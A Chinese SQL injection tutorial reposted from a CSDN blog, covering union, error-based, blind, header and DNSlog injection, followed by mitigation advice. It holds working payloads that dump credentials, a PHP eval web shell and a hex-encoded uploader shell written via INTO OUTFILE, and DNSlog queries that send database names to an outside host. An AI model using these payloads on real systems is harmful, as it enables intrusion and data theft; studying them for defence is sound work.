狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

SQL注入詳解

admin
2023年5月15日 21:43 本文熱度 787
01
概述

所謂的sql注入就是通過某種方式將惡意的sql代碼添加到輸入參數中,然后傳遞到sql服務器使其解析并執行的一種攻擊手法。


02
分類

SQL可分為平臺層注入和代碼層注入。

平臺層注入:由于不安全的數據庫配置或數據庫平臺的漏洞導致。

代碼層注入:程序員對輸入沒有細致的過濾,從而執行了非法的數據查詢。

原因:在前后端數據的交互中,前端的數據傳到后臺處理時,沒有做嚴格的判斷,導致其傳入的數據拼接到SQL語句中,被當成SQL語句的一部分執行,從而導致數據庫受損,信息丟失。

總結:后臺服務器接收相關參數未經過過濾直接帶入數據庫查詢。

例子:

比如這是一條前端URL:
https://blog.csdn.net/aboutus.php?id=1

其后臺sql語句:

$sql=“select 123 from abc where id='1 '"

這條語句是采用拼接方式去對數據庫內容進行查詢的,攻擊者通過單引號 ' 閉合數據庫查詢語句,并且可以構造這樣的惡意url:https://blog.csdn.net/aboutus.php?id=-1'select password from admin# 去查詢admin表用戶的密碼,而非查詢預先程序員所設計好的數據內容。

其中:url中?代表傳值的意思,id代表變量,等號代表變量的值。

瀏覽器通常使用 ? 來表示GET方法傳遞參數,而使用POST傳遞參數是不會顯示到URL中的,因此URL中含有?說明就是使用GET方法傳遞參數。POST型注入和Cookie注入需要插件和工具才可進行。


03
過程

常見的注入類型

1. 參數類型分類:

數字型、字符型

2. 注入類型分類:
聯合查詢注入、報錯注入、基于布爾的盲注、基于時間的盲注、HTTP頭注入、寬字節注入、堆疊查詢、二階注入。
數字型:

當輸入的參數為整形時,若存在注入漏洞,則是數字型注入。

如:

https://blog.csdn.net/aboutus.php?id=1

此時后臺語句:

$sql=“select 123 from abc where id='1 '"

檢測方法:URL輸入 and 1=1 / and 1=2 報錯則說明有注入


字符型

當輸入參數為字符串時,稱為字符型注入。

它與數字型的區別:數字型不需要單引號來閉合,而字符串需要單引號來閉合。

例:

https://blog.csdn.net/aboutus.php?id=1’

此時后臺語句:

$sql=“select 123 from abc where id='1''"

此時多出了一個單引號,破壞了原本的SQL語句結構,數據庫無法處理,于是會報錯,證明這條語句成功被帶進數據庫查詢,存在字符型注入。

此時通過 --+把后面的單引號注釋掉,SQL語句也會形成閉合。

所以我們可以這樣:

?id = 1’ 攻擊語句 --+

傳入頁面就變成了

select user from database where id = ‘1’ 攻擊語句 --  ’

--+:起注釋作用,將后面的語句注釋掉,在url中+相當于空格,–是注釋符號,單行注釋,之所以要加+號是因為–與單引號連在一起無法起注釋作用因此必須把它們隔開。

聯合查詢注入

聯合查詢適合于有顯示位的注入,即頁面某個位置會根據我們輸入的數據的變化而變化。

  • 頁面觀察

輸入id=1和id=2,若頁面中值有變化,說明輸入與數據庫有交互

  • 注入點判斷

直接輸入?id=1’若有報錯則存在注入,開始判斷可以從哪里注入,?id=2’1=2–+頁面顯示不正常,說明此處存在SQL注入,注入點在引號。

接下來開始使用SQL語句進行攻擊。

  • 使用order by判斷當前表的字段個數

例:

?id=1 order by n --+

若n=5 ,如果表少于5列就會報錯,說明表中只有n-1列

  • 判斷顯示位

判斷顯示位時,要使用 ?id=-1 或者改為0 讓前面的select語句查詢為空錯誤,然后采用后面的select語句去查詢:

?id=-1’ union select 1,2,3 --+

觀察頁面在哪里回顯我們的輸入,就可以用那個地方測試接下的語句。

  • 爆數據庫的名字

?id=1’ union select 1,database(),3 --+

在之前回顯2的地方會回顯database數據庫的名字。

  • 爆數據庫中的表

?id=1’ union select 1,group_concat(table_name),3  

from information_schema.tables where table_schema=database() --+

數據庫語句懶得解釋了。

  • 爆表中的字段

?id=1’ union select 1,group_concat(column_name),3 from

information_schema.column where table_schema=’爆出來的數據庫名‘ and table_name=‘爆出來的表名’ --+

  • 爆相應字段的所有數據

?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+


報錯注入

含義:就是在mysql中使用指定函數來制造報錯,查詢的時候加一些格式錯誤的信息,它會提示你格式錯誤,可以在中間加入一些其他信息,比如select database(),報錯信息后面也會出現數據庫信息.

報錯注入:利用數據庫的報錯信息得到數據庫的內容。因此需要構造語句讓數據庫報錯。

三種報錯注入的方法:

  • group by 重復健沖

and (select 1 from (select count(*),concat((select 查詢的內容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+
  • extractvalue()函數

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//獲取數據庫名字

extractvalue(xml_frag,xpath_expr);

函數接受兩個參數,第一個為XML標記內容,也就是查詢的內容,第二個為XPATH路徑,也就是查詢的路徑。

如果沒有匹配的內容,不管出于何種原因,只要路徑有效并且查詢的內容由正確嵌套和關閉的元素組成,返回空字符串。

但如果路徑寫入錯誤格式,就會報錯并且返回我們寫入的非法內容。

  • updatexml()函數

?id=1' and updatexml(1,conncat('^',(需要查詢的內容),'^'),1) --+

updatexml(xml_target,xpath_expr,new_xml);

此函數將XML標記的給定片段的單個部分替換為xml_target新的XML片段new_xml,然后返回更改的XML。

xml_target替換的部分 與xpath_expr 用戶提供的XPath表達式匹配。如果未xpath_expr找到表達式匹配 ,或者找到多個匹配項,則該函數返回原始 xml_targetXML片段。

所有三個參數都應該是字符串。與extractvalue()類似,如果XPATH寫入錯誤格式,就會報錯,并且返回我們寫入的非法內容。

  • floor()函數

floor(x),返回小于或等于x的最大整數。


回顯注入

回顯注入:利用注入漏洞可以改變頁面返回數據。


基于布爾的盲注

布爾盲注:即在頁面不顯示數據,只顯示對錯,此時我們輸入的語句讓頁面呈現兩種狀態,相當于true和false,根據這兩種狀態判斷我們輸入的語句是否查詢成功。

因此需要構造判斷語句,根據頁面是否回顯證實猜想。

一般用到的函數:

ascii()、 substr()、length()、exists()、concat()等。

步驟:

  • 判斷數據庫類型

  • 數據庫可能的類型:

MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects

  • 判斷數據庫名(數據庫名長度、每個ASCII值)

  • 判斷庫中的表名(表的個數、每個表名的長度和表名的ASCII)

//猜測當前數據庫中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判斷當前數據庫中表的個數
// 判斷當前數據庫中的表的個數是否大于5,用二分法依次判斷,最后得知當前數據庫表的個數為4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判斷每個表的長度
//判斷第一個表的長度,用二分法依次判斷,最后可知當前數據庫中第一個表的長度為6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判斷第二個表的長度,用二分法依次判斷,最后可知當前數據庫中第二個表的長度為6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判斷每個表的每個字符的ascii值
//判斷第一個表的第一個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判斷第一個表的第二個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
----------由此可判斷出存在表emails、referers、uagents、users,猜測users表中最有可能存在賬戶和密碼,所以以下判斷字段和數據在users表中判斷
  • 判斷表中的字段名(字段個數、每個字段名長度、字段名的ASCII值)

爆字段中的數據(字段中的數據長度、數據的ASCII)

1: 判斷數據的長度
// 判斷id字段的第一個數據的長度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判斷id字段的第二個數據的長度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+ 
2:判斷數據的ascii值
// 判斷id字段的第一行數據的第一個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判斷id字段的第二行數據的第二個字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

基于時間的盲注

時間注入:通過返回時間的長短判斷。

如:獲取第一個字符的ascii碼,判斷是否大于115,不成立延時五秒返回。

補充:

sleep(5)的意思是延遲五秒。

if(expr1,expr2,expr3) 若expr1的值為true,則返回expr2的值,如果expr1的值為false,則返回expr3的值。

例:

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

此處就是判斷數據庫名字的第二個字母。

用法類似布爾盲注。

HTTP頭注入

常見的SQL注入一般是通過請求參數或是表單進行注入,而HTTP頭注入是通過HTTP協議頭部字段值進行注入。

條件:

1. 能夠對請求頭信息進行修改

2. 修改的請求頭信息能帶入數據庫進行查詢

3. 數據庫沒有對輸入的請求信息做過濾


  • user-Agent注入

  • cookie注入

  • Referer注入

  • X-Forwarded-For注入

  • 寬字節注入


DNSLog注入

  1. 什么是dnslog?

dns服務主要是域名解析服務器將域名轉換成ip時,會生成一個日志,主要記錄:什么時候請求解析,什么域名,映射出什么ip;

但一般來說是看不到解析日志的,但有開放的平臺:dnslog.cn

2. UNC:

UNC全名:universal naming convention,通用命名規則。其實是網絡上的資源的格式,在Windows里使用。

3. mysql讀寫函數:

(mysql可以讀寫文件的。)

4. 配置:

secure_file_priv的配置值分三種——

指定文件夾:讀寫導入導出只能發生在指定文件夾

不設置:不允許執行

null:無限制

5. 讀取文件過程:

讀文件:LOAD_FILE()

限制:只能本機的文件且文件有讀取權限,且字節數小于max_allowed_packet

判斷文件有無讀取權限:

and (select count(*) from mysql.user)>0 
/*
如果結果返回正常,說明具有讀寫權限。
如果返回錯誤,應該是管理員給數據庫賬戶降權。
如果文件不存在或者不能被讀出,函數返回空。在 windows 下,如果 NTFS 設置得當,是不能讀取相關的文件的,當遇到只有administrators才能訪問的文件,users就別想 load_file 出來。
*/

用法:select LOAD_FILE(‘E:\in.txt’);

兩個難點:

  1. 絕對的物理路徑

  2. 構造有效的畸形語句(報錯出絕對路徑)


在很多 PHP 程序中,當提交一個錯誤的 Query,如果 display_errors = on,程序就會暴露 WEB 目錄的絕對路徑,只要知道路徑,那么對于一個可以注入的 PHP 程序來說,整個服務器的安全將受到嚴重的威脅。

常用路徑:http://www.cnblogs.com/lcamry/p/5729087.html

讀取示例:


6. 將文件導入進數據庫:

LOAD DATA INFILE語句用于高速從一個文本文件中讀取行并裝入一個表中。文件名稱必須為一個文字字符串。

示例:

load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

含義:將/tmp/t0.txt 導入到 t0 表中,character set gbk 是字符集設置為 gbk,fields terminated by 是每一項數據之間的分隔符,lines terminated by 是行的結尾符。

注:當錯誤代碼是 2 的時候的時候,文件不存在,錯誤代碼為 13 的時候是沒有權限,可以考慮/tmp 等文件夾。


7. 導入到文件

格式:select … INTO OUTFILE ‘file_name’

可以把被選擇的行寫入一個文件中。該文件被創建到服務器主機上,因此您必須擁有 FILE權限,才能使用此語法。file_name 不能是一個已經存在的文件。

兩種利用形式:

  • 直接將select內容導入到文件中

select ... into outfile "c:\\phpnow\\htdocs\\test.php"
/*此處的...可以是一個函數如version()也可以是一句話如:<?php @eval($_post["111"]) ?>,或者其他內容*/
  • 修改文件結尾

select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16

解釋:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php’的意思是將內容輸入到outfile中。

LINES TERMINATED BY則是into outfile的參數,意思是行結尾的時候用by后面的內容,通常的一般為‘/r/n’,此處我們將by后的內容修改為后面的16進制的文件。16 進制可以為一句話或者其他任何的代碼,可自行構造。

例如:

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

在 sqlmap 中 os-shell 采取的就是這樣的方式,具體可參考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html


DNSlog注入流程:

1. 把select LOAD_FILE()注入到數據庫訪問日志文件

2. UNC構建DNS服務器地址(其實就是服務器子域名),假裝訪問文件,產生DNSLog

select load_file('aaa.yourid.dnslog.cn/byh');
四個斜杠其實本來只有兩個,還有兩個是防止轉義,/byh不能缺少,不然不是一個標準的路徑

把子域名替換成函數或者查詢SQL

select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);
#其實就是把aaa換成了database()

最后我們使用的平臺就會顯示解析日志,在日志里就能看到查詢的內容。


04
危害
  • 數據庫信息泄露:用戶隱私信息泄露

  • 網頁篡改:通過操縱數據庫對網頁進行篡改

  • 站被掛馬,傳播惡意軟件:修改數據庫一些字段的值,嵌入木馬鏈接,進行掛馬攻擊

  • 據庫被惡意操作:數據庫服務器被攻擊,數據庫的系統管理員賬戶被篡改

  • 服務器被遠程控制,被安裝后門:經由數據庫服務器提供的操作系統支持,黑客得以修改或控制操作系統

  • 破壞硬盤數據,癱瘓全系統


05
防范

SQL漏洞修復和防范方法:

1、普通用戶與系統管理員用戶的權限要有嚴格的區分。

2、預編譯,如使用參數化語句和綁定變量。

3、加強對用戶輸入的驗證,識別惡意內容,過濾掉某些危險語句。

4、多使用SQL Server數據庫自帶的安全參數。

5、轉義,把用戶的輸入當成文本以及用斜杠來轉義。

6、數據庫異常信息隱藏。

6、必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。

7、設置陷阱賬號:

設置兩個帳號,一個是普通管理員帳號,一個是防注入的帳號。將防注入的賬號設置的很像管理員,如 admin,以制造假象吸引軟件的檢測,而密碼是大于千字以上的中文字符,迫使軟件分析賬號的時候進入全負荷狀態甚至資源耗盡而死機。

8、防火墻,限制同IP時間、禁IP訪問、黑名單。

9、對密碼之類的信息進行加密。
10、禁用某些參數,如secure file priv。


版權聲明:本文為CSDN博主「今天小白努力學習了嗎」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/m0_56691564/article/details/127474864


該文章在 2023/5/15 21:48:07 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved